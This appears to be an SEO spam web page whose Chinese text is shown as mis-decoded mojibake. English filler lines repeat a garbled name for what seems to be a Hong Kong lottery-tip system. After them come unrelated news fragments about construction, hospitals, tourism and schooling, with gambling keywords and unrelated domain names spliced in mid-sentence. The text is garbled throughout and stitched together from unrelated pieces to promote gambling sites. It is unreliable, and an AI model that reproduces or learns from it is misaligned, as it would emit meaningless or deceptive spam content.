149ÆÚÐþ»úͼ96ÆÚÐþ»úͼ ÌṩÈýÖÐÈýƽÂëµÄÍøÕ¾
145ÆÚË®¹ûÄÌÄÌ1ФÖÐ Ãâ·ÑÏÂÔØ¹Ü¼ÒÆÅÂÛ̳
Ïã¸ÛСÉúÎÞ´í¾ÅФ how about Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ£¿
What's the Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ phone number£¿ What is Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ contact information £¿
Online consultation Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ The picture of the Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ
Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳof the video Is Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ for real £¿
Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ's website A map of Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ
Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ of tiktok Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳmusic
Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ of news Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳapp
Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳcompany Customer service of Ïã¸ÛÔÁ²Êʵս±¨Âëϵͳ company

jasminethegroomer.com-<µ±Ç°ÍøÖ·>

Ê׺½Çìµä½áÊøºó£¬»¹¾ÙÐÐÁ˵çÓ°¡¶Á½º½ÆðÒå¡·¾ç±¾´´×÷ôߺ½¿Õ+Ó°ÊÓ+ÂÃÓη¢Õ¹ÑÐÌֻᡣ   ZÊнÌÓý¾ÖÏà¹Ø¸ºÔðÈ˽éÉÜ£¬×ÛºÏËØÖÊÆÀ¼Û½á¹û¼ÆÈëÉýѧ×Ü·ÖÊÇΪÁ˼á³ÖÁ¢µÂÊ÷ÈË£¬Òýµ¼Ê÷Á¢¿ÆÑ§µÄ½ÌÓýÖÊÁ¿¹Û£¬ÉîÈëÍÆ½øËØÖʽÌÓý£¬´Ù½øÑ§ÉúÈ«Ãæ¶øÓиöÐÔ·¢Õ¹¡£ï£µ ?  O

¶«ÐÂÏçÆ¬Çø£¨Ïóºþгǣ¬¼´²ýÄÏгǣ©Õ÷ÊÕÃæ»ý40Íòƽ·½Ã×£¬Õ÷ÊÕ·¶Î§ÄÚ½«Íƽø´óÖÞ´å³ÇÖдå¸ÄÔì¡¢ÌÒдóµÀ½¨Éè¡¢¸§ºÓ¹ÊµÀ¾°¹Û¼°ÊªµØ¹«Ô°½¨Éè¡¢¸Ó½­·ç¹â´øÄÏÑÓ¹¤³Ì½¨Éè¡¢µØÌú4ºÅÏß½¨ÉèµÈ¡£ 2019Äê113ÆÚÈýФ³öʲôºÅÂëfuel11.com-<µ±Ç°ÍøÖ·>   ZÊé·¨¾í£¬¡¶Êéѧ֮µÀ£ºÖйúÊéѧ¹úÃÀ֮·¡·£¬·ÖΪ¡¶º¬ºë¹â´ó¡·¡¶ÎªÌìÏÂÏÈ¡·Á½²á¡£   D

ÕâÁ½Ìõ´©³ÇÂÌÖá¾°¹Û´øÍ깤ºó£¬½«³ÉΪÄϲýÊÐÃñÂþ²½¡¢ÐÝÏС¢ÓéÀÖ¡¢¾Û»á¡¢½»Á÷µÄÐÂÈ¥´¦¡£   GÒÔÏç·çÎÄÃ÷Ö®´¾£¬×ÌÑøÏç´åÕñÐË֮·¡£   N

¶Ôϰ½üƽÖ÷ϯµÄÕâ¶Î»°£¬Ê¡ÌåÓý¾ÖȺÌå´¦´¦³¤ÑîÎÄÓ¡ÏóÉî¿Ì¡£ï£µ   W¸÷ÏçÕò(½ÖµÀ)µ³Î¯Òª°Ñ´å¼¶»»½ì¹¤×÷ÔðÈο¸ÆðÀ´£¬ÒªÇÐʵÂÄÐÐ×¥»»½ìµÄÖ÷ÌåÔðÈΣ¬°ÑÑÏËà»»½ì¼ÍÂɰÚÔÚÍ»³öλÖã¬È·±£»»½ì·çÇ寸Õý¡£   K

һλÔÚÏÖ³¡µÄ¾ÓÃñÅÄÉãµÄÊÓÆµÏÔʾ£¬Ò»¸öÉíןÚÉ«ÃÞ°ÀµÄÄк¢ÌÉÔÚµØÉÏ£¬Ò·þÃ÷ÏÔ±»´òʪ£¬Ò»ÃûÅ®×ÓÒ»±ßÕýÔÚ¸øÆä×öÐķθ´ËÕ£¬º¢×ÓµÄÄÌÄÌÔòÔÚÒ»ÅÔ´ó¿Þ£¬µ«º¢×ÓÒѾ­Ã»ÓÐÉúÃüÌåÕ÷¡£   G

2018¼¶³õÒ»ÐÂÉú(¼´2021Äê³õÖбÏÒµÉú)Æð£¬È«ÊдÓÏÖÎå¸öÂ¼È¡ÇøÓòµ÷ÕûΪÈý¸öÂ¼È¡ÇøÓò£¬ÆäÖÐÊÐÊô¡¢¶¨º£¡¢ÆÕÍӺϲ¢ÎªÁ½ÇøÒ»³ÇÂ¼È¡ÇøÓò£¬Á½ÇøÒ»³Ç¸ßÖÐѧУͳһ°²ÅÅÕÐÉú¼Æ»®£¬Í³Ò»°´¿¼Éú³õÖÐѧҵˮƽ¿¼ÊԳɼ¨¡¢×ÛºÏËØÖÊÆÀ¼Û½á¹ûºÍ¿¼ÉúÖ¾Ô¸ÔñÓżȡ¡£   M

¿É»ÆÅ®Ê¿ÁªÏµÁ˼Ҹ½½üµÄ¶þ¼¶Ò½ÔºÒÔ¼°ÉçÇøÎÀÉú·þÎñÖÐÐÄ£¬¶Ô·½µÄ´ð¸´¶¼ÊÇûÓÐÄÔ×äÖÐÖ®ºóµÄ¿µ¸´×¨ÓÃÉ豸¡£   S¾¯·½Ë³×ÅÏßË÷£¬ºÜ¿ì¾ÍÔÚÐ¡Çø¸½½üÍø°ÉÄÚ½«¸ÃÄÐ×Ó×¥»ñ¡£   KÁù¿ª²Ê¶ÄÂíÆ½Ì¨50somethingmoms.com-<µ±Ç°ÍøÖ·>

2Ô£¬74¸ö³ÇÊÐ¿ÕÆøÖÊÁ¿Ïà¶Ô½ÏºÃµÄǰ10λ³ÇÊУ¨´ÓµÚ1Ãûµ½µÚ10Ãû£©ÒÀ´ÎÊÇ£ºÀ­Èø¡¢º£¿Ú¡¢ÏÃÃÅ¡¢¸£ÖÝ¡¢ÀöË®¡¢ÖÛɽ¡¢ÉîÛÚ¡¢»ÝÖÝ¡¢ÕżҿںÍÎÂÖÝ¡£   Q

µÚ5½ìÊÀ½çÓÎÓ¾´ó»á½«ÕÙ¿ª¹ú¼ÊÓ¾ÁªÖ´ÐлáÒé¡¢¹ú¼ÊÓ¾ÁªÖ´Î¯»á»áÒé¡¢¹ú¼ÊÓ¾Áª×¨Ïî»áÒé¡¢¹ú¼ÊÓ¾Áª»áÔ±¹ú´ú±í»áÒé¼°¹ú¼ÊÓ¾Áª½ðÅÆÓÎÓ¾½ÌÁ·½²Ï°°à¡¢ÊÀ½çÓÎÓ¾´ó»áÕдýÍíÑç¡¢ÐÂÎÅ·¢²¼»áµÈ»áÒéºÍ»î¶¯£¬Í¬Ê±»¹½«¾ÙÐÐÊÀ½çÓÎÓ¾´ó»á¿ª¡¢±ÕĻʽ£¬ÊÀ½çÓÎÓ¾´ó»áÕ¹ÀÀ»î¶¯¡£   QÏÖÔÚ£¬Â³¼Ò´åÒѾ­ÓÃ3ÒÚÔªµÄͶ×Ê£¬ÎüÒýÁË20¶àÒÚÔªµÄÍâÀ´×ʱ¾£¬ÀϰÙÐÕµÄÄêÊÕÈ볬¹ýÁË35000Ôª¡£   H

¡¶¹úÃÀ֮·´óµä¡·ÒÔÏèʵµÄ×ÊÁϼǼÁË1928ÄêÒÔÀ´Öйú¸ßµÈÃÀÊõ½ÌÓý·¢Éú¡¢·¢Õ¹µÄÀúÊ·£¬³ÊÏÖÁËÏÖ´úÒÕÊõÔ˶¯²¨À½×³À«µÄÊÀ¼Í·çÔÆ£¬Õ¹Ê¾³ö¹úÃÀÈËÔÚ¸÷¸öÀúʷʱÆÚÓëÖйúÒÕÊõʷͬÐй²½øµÄ¼¤ÇéÓëÃÎÏ롢ʵ¼ùÓë´´Ôì¡£   C

»òÐíÔÚ²»¾ÃµÄ½«À´£¬Õã½­µÄÀϰÙÐÕÔÚ¼ÒÀï´òÒ»¸öµç»°£¬¾ÍÄÜÏíÊܵ½ÉÏÃŵÄרҵ¿µ¸´Ò½ÁÆ·þÎñÁË¡£   X

Ϊ¹æÄ£»¯ÍƽøÍËÑø»¹Êª£¬»¹Ô­ÊªµØÉú̬£¬ÎÂÖÝ»¹Æô¶¯ÁËʪµØÉú̬²¹³¥»úÖÆÊԵ㡣   E¶øÇÒÊì֪Ǯ½­³±µÄÈËÓ¦¸ÃÖªµÀ£¬¶¬¼¾²¢·ÇÊÇ´ó³±Ñ´µÄʱ½Ú¡£±¨Âë691234ÉñÆæ132232rentacarchennai.com-<µ±Ç°ÍøÖ·>   N

ÐÂÄÜÔ´Æû³µ²úÒµ¼ÈÊǿƼ¼ÁìÏȵĸ߶ËÖÆÔìÒµ£¬Í¬Ê±Ò²Êǽâ¾ö»·±£³öÐÐÃñÉúÐèÇóµÄÖØÒªÍ¾¾¶¡£   RËæ×ÅÐÂÒ»ÄêÁª°ÙÏç½áǧ´å·ÃÍò»§»î¶¯µ½À´£¬´Ó3ÔÂ12ÈÕ¿ªÊ¼£¬ÏñËïÔÆÒ»Ñù£¬½ü50λº¼ÖÝÊÐÅ©°ì¹¤×÷ÈËÔ±¿ªÆôÁËÔÚ°Ù½­ÕòΪÆÚÒ»ÖܵÄÉîÈëµ÷ÑС£   V

½ñÌ죨3ÔÂ24ÈÕ£©ÉÏÎç9ʱÐí£¬Ëæ×Å3¼Ü·É»ú»®ÆÆÌì¼Ê£¬¶«ÑôºáµêͨÓûú³¡Ó­À´Ê׺½ÒÇʽ£¬±êÖ¾×Å»ú³¡ÕýʽÆôÓᣠ  I°ËÔºþ·µÄ¸ÄÔ죬¼«´ó³Ì¶ÈÉÏÌáÉýÁËкé³Ç´óÊг¡ÖܱߵĽ»Í¨Í¨ÐÐÄÜÁ¦£¬Ò²ÎªÏóºþгDZõ½­Æ¬ÇøµÄ·¢Õ¹´òϼáʵµÄ»ù´¡¡£   X

ÕâÊÇÕã½­Ê¡µÚÈý½ì¿Æ¼¼ÌåÓý½øÐ£Ô°»î¶¯µÄµÚ¶þÕ¾£¬ËµÆð½ð»ªÊж«Ô·Ð¡Ñ§£¬ÔÚÕã½­µÄÄ£ÐÍÏîÄ¿ÖпÉÊÇÔçÓÐÊ¢Ãû£¬ÔÚ½¨Ð£²»µ½20ÄêµÄʱ¼äÀº½Ä£¶ÓÒѾ­´æÔÚÁË16Ä꣬Õâ16Ä궫ԷСѧÄÃÁË76¸öÈ«¹ú¹Ú¾ü£¬Á¬ÐøËĽìÈÙµÇCCTVÈ«¹úº£Â½¿ÕÄ£ÐÍÕù°ÔÈü°ÔÖ÷±¦×ù¡£   LÄÏ´æ»Ô»ØÒäµÀ£¬¿É¸¸Ç×ȴ˵£¬²»ÓýèÌõ£¬ÈËÓëÈËÖ®¼äÒª½²¾¿³ÏÐÅ£¬ÓÐ×Ö¾ÝÒª×ñÊØ£¬Ã»ÓÐ×־ݽ²µÄ»°Ò²ÒªËãÊý£¬ÕâÊÇÖлªÃñ×åµÄ´«Í³ÃÀµÂ£¬×ÔÄÇʱÆð£¬Ëû¾Í¶®µÃÁ˳ÏÐŵÄÖØÒªÐÔ¡£   B

Ͷ×ÊÒÚ£¡¾ÝÏà¹Ø¹æ»®ÏÔʾ£¬ÌÒдóµÀµÄ½¨ÉèÆÚΪ25¸öÔ£¬È¥Äê12ÔÂÒÑ¿ª¹¤½¨É裬¼Æ»®ÓÚ2019Äêµ×½¨³Éͨ³µ¡£   L·Ö²¼ÓÚ°²»Õ¡¢¸£½¨¡¢¹ã¶«¡¢¹ãÎ÷¡¢¹óÖÝ¡¢ºÓ±±¡¢ºÓÄÏ¡¢½­Î÷¡¢ËÄ´¨¡¢Ì¨Íå¡¢ÔÆÄÏ£»Ó¡¶È¡¢Ãåµé¡¢Äá²´¶ûÒ²ÓС£   N

´Ë´ÎÁªÊÖ£¬ÊͷŵIJ»½öÊÇ»ÝÃñÀûºÃ£¬»¹ÓвúÒµÉý¼¶¡£   K ¾ÅÁúÕ«¸ßÊÖÐÄË®ÂÛ̳pinkinkstamps.com-<µ±Ç°ÍøÖ·>

Òª¹á³¹Õþ¸®¹¤×÷±¨¸æÖеÄÐÂÒªÇó¡¢ÐÂÈÎÎñ£¬½ô×¥Õþ²ß»úÓö£¬ÒÔʵʩ¹ØÖÐÆ½Ô­³ÇÊÐȺ¹æ»®ÎªÆõ»ú£¬¼Ó¿ìÐγÉÎ÷°²Ñз¢£¬Î¼ÄÏÖÆÔìµÄÇøÓòЭͬºÍ¶ÔÍ⿪·Åиñ¾Ö¡£   I

µ±ÍíµÄÒôÀÖ»áÉÏ£¬¾°µÂÕò¼®ÂõÂÄиßÒô¸è³ª¼ÒÐܿ¼εĹÅÊ«¾­µä´«³ªµÄ±íÑÝ£¬Ò²ÈùÛÖÚÒ»±¥¶ú¸££¬ÓÉ×÷Çú¼Ò»Æ×ÔÆ×Çú¡¢°×¾ÓÒ׵ġ¶»¨·Ç»¨¡·¹ÅÊ«×÷Æ·£¬Òâ¾³ÄýÁ·£¬ëüëÊÇÒº¬ÐÔÚ´óʦµÄÑÝÒïÏ£¬¹ÛÖÚÌåÑéµ½ÉîºñµÄ´«Í³ÎÄ»¯»ýµíÓë×ÌÑø¡£   LÓÉÓÚÕâÃû×í¾ÆÄÐ×ÓÌÉÔÚ¹«½»Õ¾ÅÆÅÔ£¬Ò»·­Éí¾Í¿ÉÄܵøÂä³µÀ´³µÍùµÄ»ú¶¯³µµÀ£¬·Ç³£Î£ÏÕ£¬Ãñ¾¯Ö»ºÃÔÚÒ»ÅÔÊØ»¤×Å£¬²¢ÀûÓÃ̸»°Á˽âÄÐ×ÓµÄÉí·Ý¼°¼ÒÈËÁªÏµ·½Ê½¡£   Y

ÎÒÃÇÒ²½«¸ü¼ÓŬÁ¦¹¤×÷£¬Îª½¨ÉèÃÀÀö´óÎ÷°²×ö³ö¸ü´óµÄ¹±Ïס£?   O

¹ãÏÃÑÓÐøÁËËûÃǵÄÏÈ·¢ÕóÈÝ£º¸£ÌØÉ­¡¢Áõ¢ÁÖÖ¾½Ü¡¢ºú½ðÇï¡¢ËÕÈôÓí¡£   V16¾í39²á¡¶¹úÃÀ֮·´óµä¡·ÂÞÁÐÈçÏ£º¡¶×Ü¾í¡·ÉÏÏÂÁ½²á¡£   M

ÔÚ¼ÒÒ»¸öÔÂÀ´£¬ÎҰְֵľ«Éñ״̬ÒѲ»ÈçÔÚҽԺʱÄÇôºÃÁË¡£ï£µ   C

Ò»¸ö°áǨÉçÇøÎ§ÈÆÒ»¸öÌØÉ«²úÒµÐγÉÒ»¸öÎȶ¨ÉÌȦ£¬Óë³ÇÊÐ×ÛºÏÌå¡¢ÌïÔ°×ÛºÏÌåÀàËÆ£¬Î¼ÄÏÒ׵طöƶ°áǨÕýÔÚ´ßÉúÒÔ²úÒµºÍ¾ÍҵΪÄÚº­µÄ·öƶ×ÛºÏÌå¡£   K

Öйú¹¤ÒÕÃÀÊõЭ»á»á³¤ÖÜÖ£Éú23ÈÕÔÚÎ÷°²±íʾ¡£   Q²Ê°ÔÍõÆÏ¾©¶ÄÏÀÊ«easystartertemplates.com-<µ±Ç°ÍøÖ·>×ß½øÕãÓñÓæ¼Ó99999´¬µÄ´¬²Ö£¬·Â·ðÖÃÉíÓÚÒ»¸öÙ¼´óµÄ¼Ó¹¤³µ¼ä£¬ÕâÀïÉèÓÐ4ÌõÈ«×Ô¶¯Ë®²ú¾«¼Ó¹¤Éú²úÏß¡¢Å䱸¿ÉÈÝÄÉ4000¶à¶ÖÏÊ»õµÄÀä¶³±ù¿â£¬´ÓÏÊϺÈë²Öµ½ÕôÖ󡢺æ¸É¡¢É¸Ñ¡¡¢È¥¿ÇÍÑÈâÔÙµ½³öºÐ×°³ÉÆ·£¬Õû¸ö¹ý³Ì½öÐè28·ÖÖÓ¡£   G

mmrpr.com-<µ±Ç°ÍøÖ·>

¼ÇÕßÕž²ÊµÏ°ÉúºúÐñ¾²   LÔÚ½ñºó¹¤×÷ÖУ¬½«¼ÌÐø¼á³ÖÒÔÈËÃñΪÖÐÐÄ£¬°ÑÈËÃñȺÖÚµÄÍøÉÏ·þÎñÐèÒª×÷ΪʡÈËÉçÌüÍøÕ¾½¨ÉèµÄ×ÅÁ¦µã£¬ÍêÉÆÍøÕ¾·þÎñ¹¦ÄÜ¡£   F

È«ÇòÔ±¹¤3ÍòÓàÈË£¬À´×Ô30¶à¸ö¹ú¼Ò¡¢µØÇø£¬Íâ¼®Ô±¹¤2000¶àÈË£¬´óѧÉúÒÔÉÏÔ±¹¤½ü16000ÈË£¬²úÒµÁ´´ø¶¯¾ÍÒµÔ¼20ÍòÈË¡£ï£µ   KÓ¡ÏóÄϺþǧÄê»Ê³ÇÓëÏÖ´ú¶¼ÊÐçÍ·×½»»ãµê³¤ÂíÑÇÄݸÐÑÔ£ºÄܹ»ÈëÑ¡Î÷°²Ê®¼ÑÌØÉ«ÃñËÞ£¬ÊÇÕþ¸®ºÍÊÐÃñ¶ÔÎÒÃǵĿ϶¨£¬¼ÈÊÇÈÙÓþÒ²ÊǹÄÎ裬ÎÒÃÇÒ²»á¼ÌÐøÅ¬Á¦£¬Í¨¹ýÓ¡ÏóÄϺþ£¬½«Î÷°²µÄÃÀÀöÓëÈÈÇ飬´«µÝ¸øÀ´×ÔÈ«ÇòÈ«¹úµÄÓοͣ¬´òÔìÎ÷°²×îÃÀÃñËÞ£¬¸øÓοʹøÀ´Èç¼ÒÒ»°ãµÄÌåÑé»·¾³¡£   F

Ð迵¸´»¼ÕßÔö³¤µÈ´²Î»ÖÁÉÙÒ»¸öÔÂÏÖÔÚº¼ÖÝÊС¢Õã½­Ê¡µÄ¿µ¸´´²Î»£¬ÕæµÄÕâôһ´²ÄÑÇóÂ𣿼ÇÕßÖµçÁ˼¸¼ÒÈý¼×¹«Á¢Ò½Ôº£¬Ã¿¼ÒÒ½ÔºµÄ¿µ¸´¿Æ²¡´²Êý´Ó¼¸Ê®Õŵ½ÉϰÙÕŲ»µÈ£¬²»¹ýÎÞÒ»¿Õ´²¡£   K±ØÖнð¹Ñ¸¾´òһФeltanquesisley.com-<µ±Ç°ÍøÖ·>¡¡¡¡½ñÄ궯Âþ½ÚÁÁµãÓеã¶à½ñÄ궯Âþ½Ú½«ÓÚ4ÔÂ26ÈÕÖÁ5ÔÂ1ÈÕÔÚº¼Öݱõ½­Çø°×Âíºþ¶¯Âþ¹ã³¡¾ÙÐУ¬Í¬Ê±»¹½«ÔÚÈ«ÊÐÉèÁ¢10¸ö·Ö»á³¡£¬°üÀ¨ÁË»áÕ¹¡¢ÂÛ̳¡¢ÉÌÎñ¡¢ÈüÊ¡¢»î¶¯Îå´ó°æ¿é£¬¹²Óнü50¶àÏî·á¸»¶à²ÊµÄ»î¶¯¡£   X

ò¨ÏÂò¢¹Ø½ÚÊÇò¢Ã沿Ψһ×óÓÒË«²àÁª¶¯µÄ¹Ø½Ú£¬ÊÇÓëÈËÃǵľ׽À¡¢ÍÌÑÊ¡¢ÓïÑԵȹ¦ÄܽôÃÜÏà¹ØµÄÖØÒª½á¹¹¡£ ?  O½üÈÕ£¬Éú̬»·¾³²¿ÏòÉç»áͨ±¨£¬2017ÄêÈ«¹úÍ»·¢»·¾³Ê¼þ£ºÈ«¹ú¹²·¢ÉúÍ»·¢»·¾³Ê¼þ302Æð£¬½Ï2016ÄêϽµ£¥¡£   C

ÔÚÊ׺½ÒÇʽÏÖ³¡£¬ÖйúÓæÒµÐ­»áÓйظºÔðÈ˶ÔÓñ»·Êк£Éϼӹ¤ÖÐÐĸøÓè¸ß¶È¿Ï¶¨¡£   V

¿´µ½Ð¡ÇøµØÀíλÖÃÓÅÔ½¡¢ÅäÌ×ÉèÊ©ÆëÈ«¡¢Ïû·ÑÉÌȦ³ÉÊ죬Ëû¾ÍÓûýÐÁ˸öС³Ô̯¡£?   G

Ò»ÌõÖйúÒÕÊõ½ÌÓýµÄÏÈ·æÖ®Â·¡£   OÕýµ±ÆäÐÐÊ»µ½Ò»ÌõƫƧ¹«Â·Ê±£¬Í»È»³µºó·¢³öÁËÅéµÄÒ»Éù¾ÞÏ죬¾ª»ê䶨µÄǮijͨ¹ýºóÊÓ¾µ·¢ÏÖ£¬Ò»Á¾±¦Âí׷βײÉÏÁËËû¡£   G

Ô­±êÌ⣺½«·þÎñºÍÌØÉ«×öµ½¼«ÖÂÈøü¶àÈ˸ÐÊÜÎ÷°²µÄã«ÒâÓëÊ«Ç鹨ÖÐÃñ¾ÓµÄ¹ÅÆÓ½¨Öþ¡¢ÌïÔ°Ö÷ÌâµÄÇ黳¡¢ÇÀÑ۵ĿÕÖÐÓã³Ø¡¢Ê±ÉеijÇǽ¿ÍÉá……Ëæ×Å´óÎ÷°²Å©Ãñ½ÚµÄ¾Ù°ì£¬Î÷°²Ê®¼ÑÌØÉ«ÃñËÞ±¸ÊÜ´ó¼Ò¹Ø×¢£¬Ò²±»¸ü¶àÊÐÃñÖªÏþ£¬ÕâЩ¸÷¾ßÌØÉ«µÄÃñË׸ºÔðÈË·×·×±íʾ£¬½«ÕäϧÕâ·ÝÈÙÓþ£¬¼ÌÐø×öºÃ·þÎñ£¬ÈÃÀ´×Ô¸÷µØµÄÓο͸ÐÊܵ½Î÷°²µÄã«ÒâÓëÊ«Çé¡£   W

ÕâÊÇ·¢Õ¹ÃñË×Ïç´åÂÃÓεÄ×îºÃʱ»ú£¬ÎÒÃÇ»¹ÒªÌá¸ß×Ô¼ºµÄÌØÉ«ºÍ·þÎñ£¬ÎüÒýÔ½À´Ô½¶àµÄÈËÀ´µ½Î÷°²£¬¸ÐÊÜÎ÷°²ÇåÐÂ×ÔÈ»µÄÌïÔ°ÃÀ¡¢ã«ÒâÓëÊ«Çé¡£   CÒ׵طöƶ°áǨÈçºÎʵÏÖ°áµÃ³ö¡¢ÎȵÃס¡¢ÄÜÖ¸»£¿Æ¶À§ÈºÖÚÄÜ·ñÎȶ¨ÔöÊÕÊǹؼüËùÔÚ¡£   W

Ó¡ÏóÄϺþÃñËÞ£¬ÒþפÓÚÎ÷°²ÄϺþ·ç¾°ÇøÖУ¬´óÌÆÜ½ÈØÔ°¡¢´óÑãËþ¡¢º®Ò¤ÒÅÖ·¹«Ô°¡¢ÌƳÇǽÒÅÖ·¹«Ô°¾Ù²½¼´ÖÁ£¬ÊÇÎ÷°²Î¨Ò»×øÂäÓÚ¾°ÇøÄÚµÄËĺÏԺʽÃñËÞ¡£ï£µ   A

¾ÝÎ÷°²ÊйÌÌå·ÏÆúÎï¹ÜÀí´¦ÐÅÏ¢ÖÐÐÄÖ÷ÈÎʷ쿽éÉÜ£¬ÎªÁËÌá¸ßÎ÷°²ÊÐÓÅÖÊ¿ÕÆøÖÊÁ¿Ö¸Êý£¬½ü¼¸ÄêÀ´Î÷°²ÊйÌÌå·ÏÆúÎï¹ÜÀí´¦ÔÚ´óÆø»·¾³×ÛºÏÖÎÀí·½Ãæ£¬¼Ó´óÁËÌîÂñÆø´¦ÖÃÀûÓ㬲¢ÓÚ2015Ä꽨Éèһ̨ÌîÂñÆøÈ¼ÉÕ»ð¾æ£¬È·±£ÌîÂñÆøµÄ¸ßЧÊÕ¼¯ÀûÓã¬ÔÚ±£Ö¤À¬»øÕý³£Çãµ¹µÄǰÌáÏ£¬Ñϸñ¿ØÖÆÀ¬»ø±©Â¶Ãæ»ý£¬·ÀÖ¹¿ÕÆøÎÛȾ£¬¼¼ÊõÉÏÔò²ÉÓøßÓÚ¹ú¼Ò¹æ·¶µÄ»ÆÍÁ¸²¸Ç¼ÓHDPEĤ¸²¸ÇµÄË«²ã¸²¸Ç¹¤ÒÕ£¬×öµ½×÷񵂿À¬»øÈÕÌîÈÕ¸²Ä¤£¬×î´óÏ޶ȼõÉÙÿÈÕÀ¬»ø±©Â¶Ãæ»ý£¬ÓÐЧ¿ØÖƳôÆøÀ©É¢¡£ï£µ   S

ÔÚÎÒÃǹú¼Ò£¬Ó¦¸Ã×öÒ»¼¶¿µ¸´µÄ´óÒ½Ôº£¬ÏÖÔÚ¸É×Ŷþ¼¶ÉõÖÁÈý¼¶¿µ¸´µÄÊÂÇé¡£   N»¨ÆÚ5-7Ô£¬¹ûÆÚ8-9Ô¡£   C

ÂÞ¶¨ÏÍ·ò¸¾¶ÔÁôÔÚµêÄÚµÄÈËÔ±²»Çý¸Ï£¬ÍíÉÏÃÅÃæÒ²²»¶Ïµç£¬µçÊÓ½ÚÄ¿ÄÜÕý³£ÊÕ¿´¡£Ïã¸Û360222¹Ù·½ÍøÕ¾heroes-haven.com-<µ±Ç°ÍøÖ·>   PÖ÷ÒªÃæÏòÈ«ÊйÜÀíÀࡢרҵ¼¼ÊõÀàÈ˲ţ¬Ó¦Íù½ìδ¾ÍÒµ´óÖÐר±ÏÒµÉú£¬¾ÍÒµÀ§ÄÑÈËÔ±¡¢³ÇÕòʧµØÅ©Ãñ¡¢½¨µµÁ¢¿¨Æ¶À§ÀͶ¯Á¦µÈ¡£   G

»ÆÇ¿Á¢¿ÌÕкôÅóÓѳöÃÅѰÕÒ²¢ÕÅÌùѰ¹·ÆôÊ£¬µ«Ê¼ÖÕûÓз¢ÏÖС¹·µÄ×Ù¼£¡£   FÓàÎľý˵£¬Ö»ÓÐ8Ïî»ù±¾Ö¸±êÈ«²¿´ï±ê£¬Ë®ÖʲÅÄÜʵÏÖÒ»¸öµÈ¼¶µÄÌáÉý¡£   G

3ÔÂ19ÈÕÖÐÎ磬ĪÀòæÃͨ¹ý΢ÐÅÓïÒô¸æÖª»ÆÇ¿£¬³ÆÒѽ«Ð¡¹·Ë¨ÔÚÎ÷ÏçÌÁÇø³ÇÊбÌÔ°Ð¡ÇøµÄ»¨Ô°ÄÚ¡£   P3ÔÂ22ÈÕÉÏÎ磬μÄÏÊÐÕÙ¿ªÈ«ÊÐÁìµ¼¸É²¿´ó»á£¬´«´ïѧϰȫ¹úÁ½»á¾«Éñ£¬°²ÅŲ¿Êðѧϰ¹á³¹¹¤×÷¡£   K

Õã½­Ò½Ôº¿µ¸´Ò½Ñ§¿ÆÖ÷ÈÎÁÖ¼á¸æËß¼ÇÕߣ¬²¡ÈËÈç¹ûÅŶÓÒ»¸öÔÂÄÜÂÖµ½£¬ÄǶ¼ËãÊÇÐÒÔËÁË¡£   Z¾­ÉÂÎ÷Ê¡¿ÆÑ§¼¼ÊõÇ鱨Ñо¿Ôº¿Æ¼¼²éмìË÷£¬±¾´Î²ÉÓþÛÃÑÃÑͪ²ÄÁϽáºÏ3D´òÓ¡¼¼ÊõÖÆ×÷µÄ¸öÐÔ»¯ò¨ÏÂò¢¹Ø½ÚÖ²ÈëÊõΪÊÀ½çÊ×Àý£¬Õâ±êÖ¾×ÅÉÂÎ÷ò¨ò¢¹Ø½ÚÑо¿¿çÈëÊÀ½çÇ°ÑØ¡£   F

2017Äê7ÔÂ3ÈÕ£¬ÄϲýÏØÈËÃñÕþ¸®¹ÙÍø¿¯µÇÁË¡¶¹ØÓÚÄϲýÏØÐÛϪºÓ×ÛºÏÕûÖμ°¾°¹ÛÌáÉý¹¤³ÌÏîÄ¿»·¾³Ó°ÏìÆÀ¼Û¹«ÖÚ²ÎÓ빫¸æ£¨µÚ¶þ´Î¹«Ê¾£©¡·¡£118ØÇͼ¾ÅÁúͼ¿âmyoiljob.com-<µ±Ç°ÍøÖ·>   O

ÖµµÃÒ»ÌáµÄÊÇ£¬¶àýÌåÊ·Ê«´óÐã¡¶ÇØ¡·ÞðÆúÁËÂÃÓβúƷפ³¡ÑݳöµÄ´«Í³±íÏÖÐÎʽ£¬×¢Öؽ«ÒÕÊõÓë¿Æ¼¼¡¢ÒÕÊõÓëÎÄÎï¡¢ÒÕÊõÓëÈ˵ÄÈýÖÖ¹ØÏµ£¬Í¨¹ýȫеĶàýÌåÊֶνøÐгÊÏÖ£¬´òÔì³ö¡¶ÇØ¡·Ðã¶ÀÌØµÄÎę̀ÊÓ¾õ·ûºÅºÍÎÄ»¯·ûºÅ£¬¸øÈË´øÀ´·á¸»¶àÔªµÄÊÓÌýÌåÑ顣   Z

Ó¦µ±·¢ÏÖ¶øÃ»·¢ÏÖÎÊÌâÊÇʧְ£¬·¢ÏÖÎÊÌâѹÂ÷²»±¨ÊÇäÂÖ°¡£2014ÄêÆßβÖÐÌØ¹«Ê½¼ÆËãgopromdres.com-<µ±Ç°ÍøÖ·>   FÈ¥ÄêÈ«´åÍÑÆ¶£¬È˾ùÄêÊÕÈëÔ¼ÍòÔª¡£ï£µ   Y

Õ÷ÊÕÃæ»ý25Íòƽ·½Ã×£¬Õ÷ÊÕ·¶Î§ÄÚ½«ÍƽøÁ«ÌÁÁùÖÐÕûÌå°áǨ£¬Á«ÌÁ×ÛºÏÊг¡¸ÄÔ죬Á«ÌÁºÓ×ÛºÏÖÎÀí¼°¾°¹ÛÌáÉý¹¤³Ì½¨É裬½­Î÷¹ú¼ÊÎå½ð»úµç³Ç½¨ÉèµÈ¡£   H

